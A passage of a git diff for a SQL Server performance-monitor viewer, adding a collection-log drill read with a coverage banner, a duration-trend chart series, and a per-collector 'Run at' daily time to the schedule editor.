     /// shared PerformanceMonitor.Ui <see cref="DataGridExport"/> with the viewer's comma separator.
     /// </summary>
     public partial class CollectionLogWindow : Window
@@ -45,11 +47,43 @@ private async void CollectionLogWindow_Loaded(object sender, RoutedEventArgs e)
             await LoadCollectionLogAsync();
         }
 
+        /// <summary>
+        /// The drill's read and its "Showing since" note in one call (#4966): one collector's runs over the trailing week
+        /// (<see cref="ViewerDataService.CollectionLogDrillHours"/>), and the note on <paramref name="banner"/> saying where this
+        /// server's collection log starts when that is later than the week's start. The read has no row cap, so the note follows the
+        /// coverage rule: the later of the server's first collection and the log's retention edge, never the collector's first run,
+        /// so a collector that ran late in a covered week says nothing. The probe starts beside the read and asks about the same
+        /// window: one start and one end, worked out once, go to both, so a pinned end bounds the read as it bounds the probe, and a
+        /// run after that end is in neither the rows nor the note. The two run at once, so the call declares its width of two to the
+        /// store's deadline (<see cref="ViewerReadFanOut"/>) as the tabs do, and ends it when the read is in, before the note awaits
+        /// its probe. The note names its times in the viewer's display zone, as the tabs' notes do.
+        /// </summary>
+        /// <param name="asOfUtc">The window's end; null for now. A test names it to pin the window.</param>
+        internal static async Task<List<CollectionLogRow>> ReadDrillAsync(
+            ViewerDataService dataService, int serverId, string collectorName, TextBlock banner, DateTime? asOfUtc = null)
+        {
+            var endUtc = asOfUtc ?? DateTime.UtcNow;
+            var startUtc = endUtc.AddHours(-ViewerDataService.CollectionLogDrillHours);
+            using var readFanOut = ViewerReadFanOut.Of(2);
+            var dataStartTask = dataService.GetCollectionLogDataStartAsync(serverId, startUtc, endUtc);
+            var dataReadTask = dataService.GetCollectionLogByCollectorAsync(serverId, collectorName, startUtc, endUtc);
+            await ViewerProbeWatch.AwaitReadWatchingProbeAsync(dataReadTask, dataStartTask, "Collection Log Drill");
+            var logs = dataReadTask.Result;
+
+            /* The read is in: end the declared width here, before the note awaits its probe, so that await is not priced against
+               contention that has already finished. */
+            readFanOut.Release();
+
+            await ViewerServerTab.ShowEventDataStartAsync(
+                banner, dataStartTask, "Collection Log Drill", startUtc, logs.Select(l => (DateTime?)l.CollectionTime));
+            return logs;
+        }
+
         private async Task LoadCollectionLogAsync()
         {
             try
             {
-                var logs = await _dataService.GetCollectionLogByCollectorAsync(_serverId, _collectorName);
+                var logs = await ReadDrillAsync(_dataService, _serverId, _collectorName, CollectionLogTruncationBanner);
                 LogDataGrid.ItemsSource = logs;
 
                 if (logs.Count > 0)
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectorDurationSeries.cs b/Darling/PerformanceMonitor.Darling.Viewer/CollectorDurationSeries.cs
new file mode 100644
index 0000000000..2954bea0a9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectorDurationSeries.cs
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Linq;
+using PerformanceMonitor.Ui;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// One line of the Collection Health tab's Duration Trends chart (#4966): a collector's bucket MAXIMA over the toolbar's range,
+/// each at its bucket's start. <see cref="Times"/> is the X the chart plots (the store's naive-UTC instant as an OLE date, drawn in
+/// the display zone) and <see cref="MaxMs"/> the Y: the longest successful run in each bucket, so a slow run still shows however wide
+/// the bucket is. <see cref="AvgMs"/> and <see cref="Runs"/> carry each bucket's average and run count, index for index; the line
+/// does not draw them, and the hover prints them as the popup's fourth line (<see cref="DetailsByX"/>).
+/// A pure step of the chart (no WPF), so a test drives it with the rows the read returned.
+/// </summary>
+internal sealed record CollectorDurationSeries(string Collector, double[] Times, double[] MaxMs, double[] AvgMs, long[] Runs)
+{
+    /// <summary>
+    /// The chart's lines from the buckets <see cref="ViewerDataService.GetCollectorDurationTrendAsync"/> returned: one per collector,
+    /// in collector order (which sets the palette), each in time order. A collector needs two buckets to draw a line, as it needed two
+    /// runs before, so one with a single bucket in the range draws nothing.
+    /// </summary>
+    /// <param name="buckets">The collectors' buckets, in any order.</param>
+    internal static List<CollectorDurationSeries> Build(IEnumerable<CollectorDurationBucket> buckets)
+    {
+        var series = new List<CollectorDurationSeries>();
+        foreach (var group in buckets.GroupBy(b => b.CollectorName).OrderBy(g => g.Key))
+        {
+            var points = group.OrderBy(b => b.BucketStart).ToList();
+            if (points.Count < 2) continue;
+
+            series.Add(new CollectorDurationSeries(
+                group.Key,
+                points.Select(p => p.BucketStart.ToOADate()).ToArray(),
+                points.Select(p => (double)p.MaxDurationMs).ToArray(),
+                points.Select(p => p.AvgDurationMs).ToArray(),
+                points.Select(p => p.RunCount).ToArray()));
+        }
+
+        return series;
+    }
+
+    /// <summary>
+    /// The hover's fourth line for each point, the line of how many runs a point is the slowest of and what the bucket averaged (<see cref="CollectorDurationHoverText"/>, the
+    /// words Lite's chart uses), keyed by the X the point is drawn at: the very <see cref="Times"/> the scatter is built from, so the
+    /// hover's lookup by the nearest point's X is exact. Keyed by X and not by position because the line breaks at every collection
+    /// gap by inserting a point of its own, which shifts every position after the first break; that point has no key and so no line.
+    /// </summary>
+    internal IReadOnlyDictionary<double, string> DetailsByX()
+    {
+        var byX = new Dictionary<double, string>(Times.Length);
+        for (var i = 0; i < Times.Length && i < AvgMs.Length && i < Runs.Length; i++)
+        {
+            byX[Times[i]] = CollectorDurationHoverText.Detail(Runs[i], AvgMs[i]);
+        }
+
+        return byX;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml
index 811b733371..955fc3fe46 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml
@@ -30,6 +30,7 @@
             <RowDefinition Height="*"/>
             <RowDefinition Height="Auto"/>
             <RowDefinition Height="Auto"/>
+            <RowDefinition Height="Auto"/>
         </Grid.RowDefinitions>
 
         <StackPanel Grid.Row="0" Margin="0,0,0,10">
@@ -65,7 +66,7 @@
                 <ComboBoxItem Content="Low-Impact"/>
             </ComboBox>
             <Button x:Name="ResetDefaultsButton" Content="_Reset to Defaults" Margin="16,0,0,0" Click="ResetDefaults_Click"
-                    ToolTip="Replace the current values with the built-in default frequencies and retention"/>
+                    ToolTip="Replace the current values with the built-in default frequencies and retention, and clear every run time"/>
             <TextBlock Text="Copy from:" VerticalAlignment="Center" Margin="20,0,8,0"/>
             <ComboBox x:Name="CopyFromServerCombo" Width="180" VerticalAlignment="Center"/>
             <Button x:Name="CopyFromServerButton" Content="Cop_y" Margin="8,0,0,0" Click="CopyFromServer_Click"
@@ -77,11 +78,17 @@
 
         <DataGrid Grid.Row="4" x:Name="ScheduleGrid" Style="{StaticResource DarkGrid}"
                   AutoGenerateColumns="False" CanUserAddRows="False" CanUserDeleteRows="False"
-                  HeadersVisibility="Column" HorizontalScrollBarVisibility="Auto">
+                  HeadersVisibility="Column" HorizontalScrollBarVisibility="Auto"
+                  SelectionChanged="ScheduleGrid_SelectionChanged" CellEditEnding="ScheduleGrid_CellEditEnding">
             <DataGrid.Columns>
                 <DataGridTextColumn Header="Collector" Binding="{Binding Name}" Width="180" IsReadOnly="True"/>
                 <DataGridCheckBoxColumn Header="Enabled" Binding="{Binding Enabled, UpdateSourceTrigger=PropertyChanged}" Width="70"/>
                 <DataGridTextColumn Header="Every (min)" Binding="{Binding FrequencyMinutes}" Width="90"/>
+                <!-- The #4938 run time of a daily collector: an HH:MM time on the monitored server's own clock, "Use
+                     default" (no value here, so the fleet's time applies, or none), and on a server row "None" (no fixed
+                     time on this server, which stops a fleet-wide time). The line under the grid says what the selected
+                     row's time means in server time and UTC. -->
+                <DataGridTextColumn Header="Run at" Binding="{Binding RunAtText}" Width="90"/>
                 <DataGridTextColumn Header="Keep (days)" Binding="{Binding RetentionDays}" Width="90"/>
                 <!-- The #3477 per-collector database scope: comma-separated names (the excluded-databases
                      entry format), blank = every database. Only the per-database fan-out collectors read
@@ -91,12 +98,18 @@
             </DataGrid.Columns>
         </DataGrid>
 
+        <!-- What the selected row's Run at time means (#4938): the server-clock and UTC times, the spread across a fleet,
+             the next run on a server row. Filled in code from CollectorScheduleRunAtText, which is built on the shared
+             run-time rules, so what is shown is what the service does. -->
+        <TextBlock Grid.Row="5" x:Name="RunAtDetailText" Margin="0,8,0,0" MinHeight="34" FontSize="12" TextWrapping="Wrap"
+                   Foreground="{DynamicResource ForegroundBrush}"/>
+
         <!-- The delta cadence cap sentence is appended in code from the shared gap-policy constants, so the
              shown numbers can't drift from what ValidateSchedule enforces (#3532). -->
-        <TextBlock Grid.Row="5" x:Name="FooterHintText" Margin="0,8,0,0" FontSize="11" Foreground="{StaticResource DimTextBrush}" TextWrapping="Wrap"
-                   Text="Every (min): 0 collects once on server load. Keep (days) must be at least 1. Databases: comma-separated allow-list for per-database collectors — blank collects every database, and a server's excluded databases always stay excluded. Changes apply on the service's next reload."/>
+        <TextBlock Grid.Row="6" x:Name="FooterHintText" Margin="0,8,0,0" FontSize="11" Foreground="{StaticResource DimTextBrush}" TextWrapping="Wrap"
+                   Text="Every (min): 0 collects once on server load. Keep (days) must be at least 1. Run at: a 24-hour time such as 02:00 on the monitored server's own clock, for a collector that runs once a day or less often. Use default takes the fleet-wide time, and on a server None stops a fleet-wide time. Databases: comma-separated allow-list for per-database collectors — blank collects every database, and a server's excluded databases always stay excluded. Changes apply on the service's next reload."/>
 
-        <DockPanel Grid.Row="6" Margin="0,12,0,0" LastChildFill="False">
+        <DockPanel Grid.Row="7" Margin="0,12,0,0" LastChildFill="False">
             <!-- Fleet-scale bulk reset: clears every server's per-server override in one write so they all fall
                  back to the fleet-wide default (the shortcut over reverting servers one at a time). Confirmed +
                  applied immediately, separate from the per-scope Save. -->
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml.cs b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml.cs
index 6bcc5ede6e..82b47f61fa 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleEditorWindow.xaml.cs
@@ -9,8 +9,12 @@
 using System;
 using System.Collections.Generic;
 using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
+using System.Windows.Threading;
+using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Collectors;
 
 namespace PerformanceMonitor.Darling.Viewer;
@@ -19,10 +23,21 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// The viewer's collector-schedule editor — a faithful port of Lite's <c>CollectorScheduleEditorWindow</c>,
 /// rewired onto the control-plane store: it edits the fleet-wide default schedule (<c>server_id</c> NULL) or a
 /// single server's override, overlays the store's sparse <c>config.config_collector_schedules</c> rows on the
-/// shared <see cref="CollectorSchedulePresets.BuildDefaultSchedule"/> baseline, and writes the result back via
-/// <see cref="ViewerDataService.ReplaceFleetSchedulesAsync"/> / <see cref="ViewerDataService.ReplaceServerSchedulesAsync"/>.
+/// shared <see cref="CollectorSchedulePresets.BuildDefaultSchedule"/> baseline, and writes the result back through
+/// <see cref="ViewerDataService.SaveCollectorScheduleAsync"/>.
 /// Presets change frequencies only (enabled + retention untouched), exactly as Lite. A read-only seat shows a
 /// banner and disables the writes.
+///
+/// <para>The Run at column (#4938) is read from, and written to, <c>config.config_collector_run_times</c>, a table of its
+/// own: the schedule Save deletes a scope's schedule rows and inserts them again, and a run time kept on those rows
+/// would be cleared by it. So Save writes the run-time changes as statements of their own, then the schedule rows exactly as
+/// <see cref="ViewerDataService.ReplaceFleetSchedulesAsync"/> / <see cref="ViewerDataService.ReplaceServerSchedulesAsync"/>
+/// always have, all in ONE call and ONE transaction (<see cref="ViewerDataService.SaveCollectorScheduleAsync"/>), so a Save
+/// that fails leaves neither the run times nor the schedule rows written.</para>
+///
+/// <para>A schedule Reset also deletes that scope's run times, in the same transaction as the schedule rows: the shipped defaults
+/// have no fixed time. "Reset to Defaults" and a server's "Use default schedule" are saved with the scope's run-time rows cleared
+/// first, and "Apply Default to All Servers" deletes every server's schedule rows and run times in one call.</para>
 /// </summary>
 public partial class CollectorScheduleEditorWindow : Window
 {
@@ -30,11 +45,28 @@ public partial class CollectorScheduleEditorWindow : Window
     private readonly IReadOnlyList<DarlingServer> _servers;
 
     private List<CollectorScheduleRow> _allOverrides = new();
+    private List<CollectorRunTimeRow> _runTimes = new();
     private List<CollectorScheduleEditItem> _editing = new();
     private int? _scopeServerId;           // null = fleet-wide default scope
+    private bool _resetToDefaults;         // Reset to Defaults was confirmed for this scope and not saved yet (#4938)
     private bool _suppressPresetChange;
     private bool _suppressScopeReload;
 
+    /* What the Run at line needs to know about the scope's server (#4938): its clock from the newest
+       server_properties row (null until it has one, which reads the time as UTC) and whether it is an Azure SQL
+       Database, which always reports UTC. Both are read once per scope and stay null/false on the fleet scope. */
+    private ServerClock? _scopeClock;
+    private bool _scopeIsAzureSqlDatabase;
+
+    /* No successful read, no write (#4938): what a failed read said, empty while it has worked. A read that failed leaves the
+       window holding nothing for it, which looks exactly like a store with nothing stored, so the Save must not write what it
+       never saw (CollectorScheduleOverlay.BuildSavePlan), and the warning stays in front of every later status text
+       (ShowStatus) until a reload of that read succeeds. */
+    private string _scheduleReadWarning = "";
+    private string _runTimeReadWarning = "";
+    private bool SchedulesRead => _scheduleReadWarning.Length == 0;
+    private bool RunTimesRead => _runTimeReadWarning.Length == 0;
+
     /// <summary>True when the user saved changes (the caller then re-reads if it cares).</summary>
     public bool Saved { get; private set; }
 
@@ -72,23 +104,62 @@ list can never drift from what ValidateSchedule enforces. */
             $" Delta collectors ({string.Join(", ", deltaNames)}) accept at most {CollectorDeltaCalculator.MaxDeltaFrequencyMinutes} minutes: " +
             $"past the {CollectorDeltaCalculator.DefaultMaxGapSeconds / 60}-minute delta gap policy every reading would be discarded as stale and recorded as zero.";
 
+        await ReloadSchedulesAsync();
+        await ReloadRunTimesAsync();
+
+        /* Default to the fleet scope (index 0). */
+        _suppressScopeReload = true;
+        ScopeCombo.SelectedIndex = 0;
+        _suppressScopeReload = false;
+        LoadScopeSchedule();
+    }
+
+    /// <summary>
+    /// Reads the stored schedule rows. A failure leaves no rows shown and is recorded as a warning that <see cref="ShowStatus"/>
+    /// keeps in front of every later status text, and a Save is refused until a reload succeeds
+    /// (<see cref="CollectorScheduleOverlay.BuildSavePlan"/>): a Save of rows the window never read would replace them with the
+    /// defaults it shows (#4938).
+    /// </summary>
+    private async Task ReloadSchedulesAsync()
+    {
         try
         {
             _allOverrides = await _dataService.GetCollectorSchedulesAsync();
+            _scheduleReadWarning = "";
         }
         catch (Exception ex)
         {
             _allOverrides = new List<CollectorScheduleRow>();
-            StatusText.Text = $"Could not read the current schedules: {ex.Message}";
+            _scheduleReadWarning = $"Could not read the current schedules: {ex.Message} A Save is refused until they are read: close this window and open it again.";
         }
+    }
 
-        /* Default to the fleet scope (index 0). */
-        _suppressScopeReload = true;
-        ScopeCombo.SelectedIndex = 0;
-        _suppressScopeReload = false;
-        LoadScopeSchedule();
+    /// <summary>
+    /// Reads the run times (#4938) from their own table. A store below V160 has no such table, and
+    /// <see cref="ViewerDataService.GetCollectorRunTimesAsync"/> answers that with no run times, so the editor opens with every
+    /// Run at cell on "Use default". Any other failure leaves no run times shown and is recorded as a warning that
+    /// <see cref="ShowStatus"/> keeps visible, and the Save then sends no run-time change at all (no upsert, no delete, no clear)
+    /// until a reload succeeds, because no run times shown is the same picture as no run times stored.
+    /// </summary>
+    private async Task ReloadRunTimesAsync()
+    {
+        try
+        {
+            _runTimes = await _dataService.GetCollectorRunTimesAsync();
+            _runTimeReadWarning = "";
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            _runTimes = new List<CollectorRunTimeRow>();
+            _runTimeReadWarning = $"Could not read the run times: {ex.Message} No run time is saved or cleared until they are read: close this window and open it again.";
+        }
     }
 
+    /// <summary>The ONE place the status line is written (#4938): the warnings of any read that failed come first and stay, so a
+    /// later status text (a scope change, the reset result) cannot overwrite them.</summary>
+    private void ShowStatus(string text) =>
+        StatusText.Text = string.Join(" ", new[] { _scheduleReadWarning, _runTimeReadWarning, text }.Where(t => t.Length > 0));
+
     private void PopulateScopeCombos()
     {
         ScopeCombo.Items.Clear();
@@ -124,6 +195,7 @@ private void ScopeCombo_SelectionChanged(object sender, SelectionChangedEventArg
     private void LoadScopeSchedule()
     {
         _scopeServerId = (ScopeCombo.SelectedItem as ComboBoxItem)?.Tag as int?;
+        _resetToDefaults = false;   /* a Reset belongs to the scope it was made in, and a reload shows what is stored */
 
         var isServerScope = _scopeServerId is not null;
         UseDefaultCheckBox.Visibility = isServerScope ? Visibility.Visible : Visibility.Collapsed;
@@ -132,7 +204,7 @@ private void LoadScopeSchedule()
         {
             HeaderText.Text = $"Collector Schedules — {(ScopeCombo.SelectedItem as ComboBoxItem)?.Content}";
             SubHeaderText.Text = "This server's custom schedule. Uncheck 'Use default schedule' to override the fleet-wide defaults for it.";
-            var hasOverride = CollectorScheduleOverlay.ServerHasOverride(_allOverrides, _scopeServerId!.Value);
+            var hasOverride = CollectorScheduleOverlay.ServerHasOverride(_allOverrides, _runTimes, _scopeServerId!.Value);
 
             _suppressPresetChange = true;
             UseDefaultCheckBox.IsChecked = !hasOverride;
@@ -144,7 +216,88 @@ private void LoadScopeSchedule()
             SubHeaderText.Text = "The fleet-wide default schedule. Every server without its own override collects on this schedule.";
         }
 
+        /* The run time is read on the scope's own server clock, so a server scope reads that server's clock and engine
+           (the fleet scope has no one clock: its line shows the spread instead). */
+        _scopeClock = null;
+        _scopeIsAzureSqlDatabase = false;
+
         RebuildEditingForScope();
+
+        if (_scopeServerId is int scopeServer)
+        {
+            _ = LoadScopeContextAsync(scopeServer);
+        }
+    }
+
+    /// <summary>
+    /// Reads the scope server's clock (its newest <c>server_properties</c> row) and whether it is an Azure SQL Database, then
+    /// refreshes the Run at line. Best effort: a read that fails leaves the clock unknown, which the line says (the time reads
+    /// as UTC), and nothing here blocks the grid. A scope the user has moved away from meanwhile is left alone.
+    /// </summary>
+    private async Task LoadScopeContextAsync(int serverId)
+    {
+        ServerClock? clock = null;
+        var azureSqlDatabase = false;
+        try
+        {
+            var clocks = await _dataService.GetServerClocksAsync(serverId, CancellationToken.None);
+            clock = clocks.TryGetValue(serverId, out var found) ? found : null;
+            azureSqlDatabase = await _dataService.GetRecommendationEngineEditionAsync(serverId)
+                == CollectorEngineCapability.AzureSqlDatabaseEngineEdition;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            StatusText.Text += $" Could not read this server's clock: {ex.Message}";
+        }
+
+        if (_scopeServerId != serverId)
+        {
+            return;
+        }
+
+        _scopeClock = clock;
+        _scopeIsAzureSqlDatabase = azureSqlDatabase;
+        RefreshRunAtDetail();
+    }
+
+    private void ScheduleGrid_SelectionChanged(object sender, SelectionChangedEventArgs e) => RefreshRunAtDetail();
+
+    /// <summary>A cell edit is committed after this event, so the line is refreshed once it has been.</summary>
+    private void ScheduleGrid_CellEditEnding(object sender, DataGridCellEditEndingEventArgs e) =>
+        Dispatcher.BeginInvoke(new Action(RefreshRunAtDetail), DispatcherPriority.Background);
+
+    /// <summary>
+    /// The line under the grid for the selected row (#4938): what its Run at time means on the server's clock and in UTC,
+    /// the spread on a fleet row, the next run on a server row, and the refusal text when the cell holds something the save
+    /// would refuse. All of it comes from <see cref="CollectorScheduleRunAtText.Describe"/>, which is built on the shared
+    /// run-time rules.
+    /// </summary>
+    private void RefreshRunAtDetail()
+    {
+        if (ScheduleGrid.SelectedItem is not CollectorScheduleEditItem item)
+        {
+            RunAtDetailText.Text = "Select a collector to see what its Run at time means on its server's clock.";
+            return;
+        }
+
+        int? fleetRunAt = _runTimes
+            .FirstOrDefault(r => r.ServerId is null && string.Equals(r.CollectorName, item.Name, StringComparison.OrdinalIgnoreCase))
+            ?.RunAtMinute;
+
+        /* #4938: a server on "Use default schedule" shows the FLEET's schedule in the grid, so the cell holds the fleet's own time.
+           The line reads it as the server falling through to that time and says it uses the fleet-wide run time. */
+        var usesDefaultSchedule = _scopeServerId is not null && UseDefaultCheckBox.IsChecked == true;
+
+        try
+        {
+            RunAtDetailText.Text = $"{item.Name}: " + CollectorScheduleRunAtText.Describe(
+                item.Name, item.RunAtText, item.FrequencyMinutes, _scopeServerId, fleetRunAt,
+                _scopeClock, _scopeIsAzureSqlDatabase, DateTime.UtcNow, usesDefaultSchedule: usesDefaultSchedule);
+        }
+        catch (Exception ex) when (ex is ArgumentException or InvalidOperationException or FormatException)
+        {
+            RunAtDetailText.Text = $"{item.Name}: could not work out this run time ({ex.Message}).";
+        }
     }
 
     /// <summary>Rebuilds the editable list for the current scope + use-default state and re-binds the grid.</summary>
@@ -155,7 +308,7 @@ private void RebuildEditingForScope()
         /* Fleet scope, or a server "using default", shows the fleet-over-default effective (server rows
            excluded); a customizing server shows its own effective schedule. */
         var overlayScope = usesDefault ? (int?)null : _scopeServerId;
-        _editing = CollectorScheduleOverlay.BuildEffectiveSchedule(_allOverrides, overlayScope);
+        _editing = CollectorScheduleOverlay.BuildEffectiveSchedule(_allOverrides, _runTimes, overlayScope);
 
         BindGrid();
         UpdateEditableState(!usesDefault);
@@ -166,6 +319,7 @@ private void BindGrid()
     {
         ScheduleGrid.ItemsSource = null;
         ScheduleGrid.ItemsSource = _editing;
+        RefreshRunAtDetail();
     }
 
     private void UpdateEditableState(bool editable)
@@ -180,17 +334,17 @@ private void UpdateEditableState(bool editable)
 
         if (_dataService.IsReadOnly)
         {
-            StatusText.Text = "Read-only connection — schedules can't be changed.";
+            ShowStatus("Read-only connection — schedules can't be changed.");
         }
         else if (_scopeServerId is null)
         {
-            StatusText.Text = "Fleet-wide default schedule. Applies to every server without its own override.";
+            ShowStatus("Fleet-wide default schedule. Applies to every server without its own override.");
         }
         else
         {
-            StatusText.Text = writable
+            ShowStatus(writable
                 ? "Custom schedule. Changes apply only to this server."
-                : "Using the fleet-wide default (read-only). Uncheck 'Use default schedule' to customize this server.";
+                : "Using the fleet-wide default (read-only). Uncheck 'Use default schedule' to customize this server.");
         }
     }
 
@@ -259,7 +413,7 @@ private void PresetCombo_SelectionChanged(object sender, SelectionChangedEventAr
     private void ResetDefaults_Click(object sender, RoutedEventArgs e)
     {
         var result = MessageBox.Show(
-            "Replace the current values with the built-in default frequencies and retention?",
+            "Replace the current values with the built-in default frequencies and retention, and clear every run time?",
             "Reset to Defaults", MessageBoxButton.YesNo, MessageBoxImage.Question);
 
         if (result != MessageBoxResult.Yes)
@@ -268,6 +422,9 @@ private void ResetDefaults_Click(object sender, RoutedEventArgs e)
         }
 
         _editing = CollectorSchedulePresets.BuildDefaultSchedule();
+        /* #4938: back to the shipped defaults means no fixed time, so the Save deletes this scope's run-time rows by scope, in
+           its own transaction with the schedule rows, and not only the ones this window loaded. */
+        _resetToDefaults = true;
         BindGrid();
         DetectActivePreset();
     }
@@ -288,7 +445,7 @@ private void CopyFromServer_Click(object sender, RoutedEventArgs e)
             return;
         }
 
-        _editing = CollectorScheduleOverlay.BuildEffectiveSchedule(_allOverrides, source.ServerId);
+        _editing = CollectorScheduleOverlay.BuildEffectiveSchedule(_allOverrides, _runTimes, source.ServerId);
         BindGrid();
         DetectActivePreset();
     }
@@ -309,18 +466,26 @@ private async void SaveButton_Click(object sender, RoutedEventArgs e)
         SaveButton.IsEnabled = false;
         try
         {
-            if (_scopeServerId is int serverId)
+            /* #4938: the run times go to their own table, each change a statement of its own and never through the
+               schedule rows' delete-and-reinsert. ONE call writes both on one connection in one transaction, so a Save
+               whose schedule write fails does not leave the run time saved, and a store that cannot take the run times
+               (below V160, which the viewer says in its own words) is refused with nothing written. A Save that did not
+               change a run time sends none, so it still saves its schedules on such a store. */
+            /* A schedule Reset (Reset to Defaults, or a server on "Use default schedule") also deletes this scope's run-time
+               rows, by scope and in the same transaction, because the shipped defaults have no fixed time. The changes are then
+               worked out against an empty scope: no delete for a "Use default" cell, and an insert for every time the grid holds.
+               No successful read, no write: after a failed run-time read the plan carries no run-time change and no clear, and
+               after a failed schedule read the Save is refused (CollectorScheduleOverlay.BuildSavePlan). */
+            var plan = CollectorScheduleOverlay.BuildSavePlan(
+                _editing, _runTimes, _scopeServerId, usesDefault, _resetToDefaults, schedulesRead: SchedulesRead, runTimesRead: RunTimesRead);
+            if (plan.Refusal is string refusal)
             {
-                var rows = usesDefault
-                    ? new List<CollectorScheduleRow>()
-                    : CollectorScheduleOverlay.ToServerOverrideRows(_editing, serverId);
-                await _dataService.ReplaceServerSchedulesAsync(serverId, rows);
-            }
-            else
-            {
-                await _dataService.ReplaceFleetSchedulesAsync(CollectorScheduleOverlay.ToFleetOverrideRows(_editing));
+                MessageBox.Show(refusal, "Collector Schedules", MessageBoxButton.OK, MessageBoxImage.Warning);
+                return;
             }
 
+            await _dataService.SaveCollectorScheduleAsync(_scopeServerId, plan.Rows, plan.RunTimeChanges, plan.ClearRunTimes);
+
             Saved = true;
             Close();
         }
@@ -358,7 +523,7 @@ private async void ApplyDefaultToAll_Click(object sender, RoutedEventArgs e)
 
         var result = MessageBox.Show(
             "Reset EVERY server to the fleet-wide default schedule?\n\n" +
-            "This removes all per-server schedule overrides; the fleet-wide default schedule is not changed. " +
+            "This removes all per-server schedule overrides and run times; the fleet-wide default schedule and run times are not changed. " +
             "This can't be undone.",
             "Apply Default to All Servers", MessageBoxButton.YesNo, MessageBoxImage.Warning);
 
@@ -370,17 +535,19 @@ private async void ApplyDefaultToAll_Click(object sender, RoutedEventArgs e)
         ApplyDefaultToAllButton.IsEnabled = false;
         try
         {
+            /* #4938: a server's run time is part of its override, so this one call deletes every server's schedule rows and
+               run times together, in one transaction. */
             var removed = await _dataService.ResetAllServerSchedulesAsync();
             Saved = true;
 
             /* Re-read the overrides so the editor reflects the reset (every per-server row is now gone) and
                reload the current scope's grid + preset detection. */
-            _allOverrides = await _dataService.GetCollectorSchedulesAsync();
+            await ReloadSchedulesAsync();
+            await ReloadRunTimesAsync();
             LoadScopeSchedule();
 
-            StatusText.Text = removed > 0
-                ? $"Reset {removed} per-server schedule override(s) — every server now follows the fleet default."
-                : "No per-server overrides to reset — every server already follows the fleet default.";
+            /* #4938: the schedule overrides and the run times it removed are counted apart and each named. */
+            ShowStatus(CollectorScheduleOverlay.FormatResetStatus(removed));
         }
         catch (ViewerReadOnlyException ex)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleOverlay.cs b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleOverlay.cs
index 94e49c1dd1..f8659566dc 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleOverlay.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/CollectorScheduleOverlay.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Globalization;
 using System.Linq;
 using PerformanceMonitor.Collectors;
 
@@ -22,17 +23,83 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// </summary>
 public static class CollectorScheduleOverlay
 {
+    /// <summary>What the Run at cell shows for a scope with no run-time row of its own: the scope falls through to the
+    /// fleet row, or to no fixed time (#4938).</summary>
+    public const string UseDefaultRunAtText = "Use default";
+
+    /// <summary>What a server row's Run at cell shows for -1: no fixed time on this server, which stops a fleet-wide
+    /// time (#4938). On the fleet row it is read as clearing the time, because the fleet has nothing to stop.</summary>
+    public const string NoRunAtText = "None";
+
+    /// <summary>The stored value for "no fixed time on this server", the V160 table's -1 (a server row only).</summary>
+    private const int NoFixedRunTime = -1;
+
+    /// <summary>
+    /// The text the Run at cell holds for a stored value: none (and a value the V160 CHECK would refuse, which the
+    /// service also reads as not set) is <see cref="UseDefaultRunAtText"/>, -1 is <see cref="NoRunAtText"/>, and a
+    /// minute after midnight is <c>HH:MM</c> through the shared <see cref="CollectorRunTime.Format"/>.
+    /// </summary>
+    public static string FormatRunAt(int? runAtMinute) => runAtMinute switch
+    {
+        NoFixedRunTime => NoRunAtText,
+        >= 0 and < 1440 => CollectorRunTime.Format(runAtMinute.Value),
+        _ => UseDefaultRunAtText,
+    };
+
+    /// <summary>
+    /// Reads what the Run at cell holds (#4938): blank, "Use default" or "default" is null (no value at this level),
+    /// "None" is -1 (no fixed time), and a 24-hour <c>HH:MM</c> is its minutes after midnight, parsed by the shared
+    /// <see cref="CollectorRunTime.TryParse"/>. Anything else is refused with the shared
+    /// <see cref="CollectorRunTime.InvalidRunAtMessage"/> and a null minute. Surrounding spaces and letter case are
+    /// ignored. Pure.
+    /// </summary>
+    public static bool TryParseRunAt(string? text, out int? minuteOfDay, out string error)
+    {
+        minuteOfDay = null;
+        error = "";
+
+        var trimmed = (text ?? "").Trim();
+        if (trimmed.Length == 0
+            || trimmed.Equals(UseDefaultRunAtText, StringComparison.OrdinalIgnoreCase)
+            || trimmed.Equals("default", StringComparison.OrdinalIgnoreCase))
+        {
+            return true;
+        }
+
+        if (trimmed.Equals(NoRunAtText, StringComparison.OrdinalIgnoreCase))
+        {
+            minuteOfDay = NoFixedRunTime;
+            return true;
+        }
+
+        if (CollectorRunTime.TryParse(trimmed, out var minute))
+        {
+            minuteOfDay = minute;
+            return true;
+        }
+
+        error = CollectorRunTime.InvalidRunAtMessage;
+        return false;
+    }
+
     /// <summary>
     /// The effective editable schedule for a scope: start from the code defaults, apply the fleet overrides
